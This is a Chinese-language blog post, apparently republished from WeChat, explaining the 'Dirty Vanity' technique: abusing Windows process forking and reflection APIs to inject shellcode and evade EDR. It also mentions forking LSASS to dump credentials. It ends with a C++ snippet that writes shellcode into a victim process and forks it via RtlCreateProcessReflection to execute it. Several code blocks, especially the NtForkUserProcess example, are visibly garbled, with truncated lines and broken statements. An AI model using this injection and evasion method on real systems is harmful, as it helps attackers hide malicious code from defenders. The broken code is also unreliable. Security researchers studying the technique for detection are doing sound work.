分叉是 Windows 操作系统中存在的⼀种鲜为⼈知的机制。在这篇⽂章中,我们将深⼊研究分叉,探索其合法⽤途,并展示如何通过注⼊恶意代码将其操纵为盲⽬的EDR。
分叉简介
分叉进程是指从⼀个已存在的进程中创建⼀个新的进程的⾏为。
在操作系统中,分叉进程是通过调⽤fork()系统调⽤来实现的。当调⽤进程执⾏fork()时,操作系统会创建⼀个新的进程,该进程是调⽤进程的副本,包括代码、数据和资源等。新进程被称为⼦进程,⽽调⽤进程被称为⽗进程。
Windows 分叉
进程反射:⼀种分叉机制,⽤于在运⾏时将⼀个进程的可执⾏代码加载到另⼀个进程的内存空间中,并在⽬标进程中执⾏,其⽬标是允许对应持续提供服务的进程进⾏分析。WDI(Windows 诊断基础结构)使⽤进程反射来执⾏此操作:
流程快照- 使您能够捕获部分或全部流程状态。它可以使⽤ Windows 内部 POSIX 分叉克隆功能有效地捕获进程的虚拟地址内容。
恶意⽤例示例:
通过分叉进⾏凭证转储 - 在凭证转储领域,许多防御措施都集中在 LSASS.exe,它存储记录的⽤户凭证。
我们可以利⽤前⾯提到的进程反射来分叉 LSASS 并访问受保护程度较低的分叉内容
分叉API
在滥⽤远程分叉之前,我们先介绍可以调⽤分叉的 Windows API。
RtlCloneUserProcess是⼀个函数,⽤于在Windows操作系统中克隆⼀个⽤户进程。它接受多个参数来指定克隆过程的⾏为和属性
RtlCloneUserProcess(
ULONG ProcessFlags,
//⼀个⽆符号⻓整型(ULONG)的值,⽤于指定克隆过程的标志。
这些标志可以控制克隆过程的⾏为,例如是否创建⼀个新的控制台窗⼝、是否继承⽗进程的环境变量
等。
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
//⼀个指向安全描述符(SECURITY_DESCRIPTOR)的指针,⽤于指定克隆过程的安全属性。
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
//⼀个指向安全描述符的指针,⽤于指定克隆过程中线程的安全属性。
线程安全描述符定义了线程的安全访问权限和身份验证信息
HANDLE DebugPort,
//⽤于指定调试端⼝
PRTL_USER_PROCESS_INFORMATION ProcessInformation);
//个指向RTL_USER_PROCESS_INFORMATION结构的指针,⽤于接收克隆过程的信息,
包括新进程的句柄、线程句柄和进程ID等
RtlCloneUserProcess 本质上是 NtCreateUserProcess 的包装器,调⽤相同的功能
NtCreateUserProcess(
PHANDLE ProcessHandle,
PHANDLE ThreadHandle,
ACCESS_MASK ProcessDesiredAccess,
ACCESS_MASK ThreadDesiredAccess,
POBJECT_ATTRIBUTES ProcessObjectAttributes,
POBJECT_ATTRIBUTES ThreadObjectAttributes,
ULONG ProcessFlags,
ULONG ThreadFlags,
PVOID ProcessParameters,
PPS_CREATE_INFO PPS_ATTRIBU,
TE_LIST AttributeList);
NtCreateUserProcess是⼀个系统调⽤。它通过在PPS_ATTRIBUTE_LIST AttributeList 参数中设置 PS_ATTRIBUTE_PARENT_PROCESS 来公开进程分叉,如下所示:
NTSTATUS NtForkUserProcess()
{
HANDLE hProcess = nullptr, hThread = nullptr;
OBJECT_ATTRIBUTES poa = { sizeof(poa) };
OBJECT_ATTRIBUTES toa = { sizeof(toa) };
PS_CREATE_INFO createInfo = {sizeof(createInfo)};
PsCreateInitialState; =
在属性列表中添加⽗句柄
PPS_ATTRIBUTE_LIST attributeList;
PPS_ATTRIBUTE属性;
UCHAR attributeListBuffer[FIELD_OFFSET(PS_ATTRIBUTE_LIST, 属性) + sizeof
* 1];
0, sizeof(attributeListBuffer));
attributeList = reinterpret_cast<PPS_ATTRIBUTE_LIST>(attributeListBuffe
r);
FIELD_OFFSET(PS_ATTRIBUTE_LIST, Attribute =
+ sizeof(PS_ATTRIBUTE) * 1;
attribute = &attributeList->Attributes[0];
PS_ATTRIBUTE_PARENT_PROCESS; =
sizeof(HANDLE); =
GetCurrentProcess(); =
NtCreateUserProcessFunc const NtCreateUserProcess = reinterpret_cast<NtC
"NtCreateU
serProcess"));
NTSTATUS res = NtCreateUserProcess(&hProcess, &hThread, 0, 0, nullptr, n
PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT | PROCESS_CREATE_FLAGS_IN
THREAD_CREATE_FLAGS_CREATE_SUSPENDED, nullptr, &createInf
attributeList);
auto pid = GetProcessId(hProcess);
return res;
}
远程分叉
我们现在将探索Process Reflection 和 Process Snapshotting背后的 API ,因为这些是在Windows 中提供远程分叉的机制。
进程快照是通过 Kernel32!PssCaptureSnapshot 调⽤的,如果我们沿着调⽤链往下看,我们会看到 Kernel32!PssCaptureSnapshot 调⽤ ntdll!PssNtCaptureSnapshot 调⽤ntdll!NtCreateProcessEx。
⽽我们需要通过进程快照定位到我们想要远程分叉的进程PID
我们来看看 NtCreateProcessEx 及其遗留版本 NtCreateProcess
下文是NtCreateProcessEx结构体以及NtCreateProcess结构体
ProcessHandle、
ACCESS_MASK DesiredAccess、
POBJECT_ATTRIBUTES ObjectAttributes、
HANDLE ParentProcess、
ULONG Flags、
HANDLE SectionHandle、
HANDLE DebugPort、
HANDLE ExceptionPort、
BOOLEAN InJob);
NtCreateProcess(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
HANDLE ParentProcess,
BOOLEAN InheritObjectTable,
HANDLE SectionHandle,
HANDLE DebugPort,
HANDLE ExceptionPort);
NtCreateProcess[Ex] 是两个遗留的进程创建系统调⽤,它们提供了另⼀种访问分叉机制的途径。但是,与较新的 NtCreateUserProcess 不同,可以通过使⽤⽬标进程句柄设置 HANDLEParentProcess 参数来使⽤它们分叉远程进程。
进程反射通过 RtlCreateProcessReflection 调⽤
RtlCreateProcessReflection(
HANDLE ProcessHandle、
ULONG Flags、
PVOID StartRoutine、
PVOID StartContext、
HANDLE EventHandle、
ReflectionInformation);
RtlCreateProcessReflection 将分叉由 HANDLE ProcessHandle 表示的进程。
它执⾏以下操作:
1. 创建共享内存部分。
2. ⽤参数填充共享内存部分。
3. 将共享内存部分映射到当前进程和⽬标进程。
4. 通过调⽤ RtlpCreateUserThreadEx 在⽬标进程上创建线程。该线程被引导在 ntdll 的RtlpProcessReflectionStartup 函数中开始执⾏。
5. 创建的线程调⽤ RtlCloneUserProcess,传递它从与启动进程共享的内存映射中获得的参数。如前所述,RtlCloneUserProcess 包装了 NtCreateUserProcess,将当前进程分叉到新⽬标。
6. 在内核模式下,NtCreateUserProcess 执⾏与创建新进程时⼤部分相同的代码路径,除了PspAllocateProcess(它调⽤它来创建进程对象和初始线程)调⽤MmInitializeProcessAddressSpace,并使⽤⼀个标志指定该地址应该是副本- ⽬标进程的写⼊时副本⽽不是初始进程地址空间。
7. 如果 RtlCreateProcessReflection 的调⽤者指定了 PVOID StartRoutine,则RtlpProcessReflectionStartup 将在关闭之前将执⾏转移给它。如果提供的话,它还将提供PVOID StartContext 作为参数。
代码注⼊以及端点检测和响应 (EDR)
让我们简要介绍⼀下传统注射的步骤。
为了让注⼊的代码在⽬标进程中启动并运⾏,注⼊器将执⾏以下操作:
-
第 1 步:为 shellcode 注⼊分配空间或为其找到代码地址。
-
步骤 2:使⽤各种写⼊内存将 shellcode 写⼊步骤 1 中创建的空间。
-
写进程内存
-
NtMapViewOfSection
-
GlobalAddAtom
-
步骤 3:使⽤各种执⾏原语执⾏步骤 2 中编写的 shellcode
-
NtSetContextThread
-
NtQueueApcThread
-
IAT Hook 和 InlineHook
由于注⼊原语的动态特性,⼤多数 EDR 将尝试通过挂钩它们知道的所有原语来处理注⼊。以下是此⽅法的示例,其中 Injector.exe 对 Explorer.exe 执⾏最简单的注⼊:
当 EDR 监视系统时,它会监视同⼀⽬标上的所有原语并捕获 Explorer.exe 上的所有三个原语:
-
分配 = VirtualAllocEx
-
将内容写⼊分配 = WriteProcessMemory
-
执⾏写⼊的内容=CreateRemoteThread
当监视最终执⾏原语时,EDR 将检测/阻⽌此注⼊尝试。
如何实现代码注⼊?
1. 初始写⼊步骤:以任何⾸选⽅式将有效负载分配并写⼊⽬标进程,即:
-
VirtualAllocEx 和 WriteProcessMemory
-
NtCreateSection 和 NtMapViewOfSection
-
任何其他⾸选⽅式
2. 分叉和执⾏步骤:在⽬标进程上执⾏远程分叉,并将进程起始地址设置为有效负载(分叉到同⼀位置),其中:
-
RtlCreateProcessReflection(PVOID StartRoutine = 指向克隆的 shellcode)
-
NtCreateProcess[Ex] + 克隆 shellcode 上的任何执⾏原语
Injector.exe 使⽤ VirtualAllocEx 正常启动,然后通过 Explorer.exe 使⽤WriteProcessMemory。监视该系统的 EDR 会将这些操作关联起来,并等待第三个执⾏原语将此操作标记为注⼊。
在 Dirty Vanity 中,这种预期的执⾏原语并没有发⽣,⽽是我们恢复到远程 fork API。
Explorer.exe 现在已分叉为⾃身的副本,分叉的结果进程包含 Explorer.exe 地址空间的副本,包括在具有相同内存保护的相同地址加载的初始写⼊步骤中的有效负载。
通过将分叉进程的起始地址设置为我们的有效负载,它将执⾏。这可以通过以下⽅式完成:
-
RtlCreateProcessReflection(PVOID StartRoutine = 指向克隆的 shellcode)
-
NtCreateProcess[Ex] + 克隆 shellcode 上的后续执⾏原语
完成这些步骤后,我们的分叉 Explorer.exe 包含我们的有效负载并执⾏它。
Dirty Vanity 背后的新颖之处在于分叉创建的分离:虽然分配和写⼊阶段通常在⽬标进程上完成,但它们不会被捕获,因为实际的执⾏阶段(对于密封交易作为注⼊的关键) EDR 视⻆)由分叉⽬标进程执⾏并在分叉⽬标进程上执⾏。
从 EDR 的⻆度来看,新分叉的 Explorer.exe 从未被写⼊,并且其上的执⾏与写⼊尝试⽆关。
代码展示
unsigned char shellcode[] = {0x40, 0x55, 0x57, ...};
size_t bytesWritten = 0;
// Opening the fork target with the appropriate rights
HANDLE victimHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE
| PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE, TRUE, victimPid);
// Allocate shellcode size within the target
DWORD_PTR shellcodeSize = sizeof(shellcode);
LPVOID baseAddress = VirtualAllocEx(victimHandle, nullptr, shellcodeSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Write the shellcode
BOOL status = WriteProcessMemory(victimHandle, baseAddress, shellcode, she
llcodeSize, &bytesWritten);
HMODULE ntlib = LoadLibraryA("ntdll.dll");
Rtl_CreateProcessReflection RtlCreateProcessReflection = (Rtl_CreateProces
sReflection)GetProcAddress(ntlib, "RtlCreateProcessReflection");
T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION info = { 0 };
// Fork target & Execute shellcode base within clone
NTSTATUS ret = RtlCreateProcessReflection(victimHandle, RTL_CLONE_PROCESS_
FLAGS_INHERIT_HANDLES, baseAddress, NULL, NULL, &info);
原文始发于微信公众号(麋鹿安全):滥⽤分叉完成代码注⼊对抗EDR
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论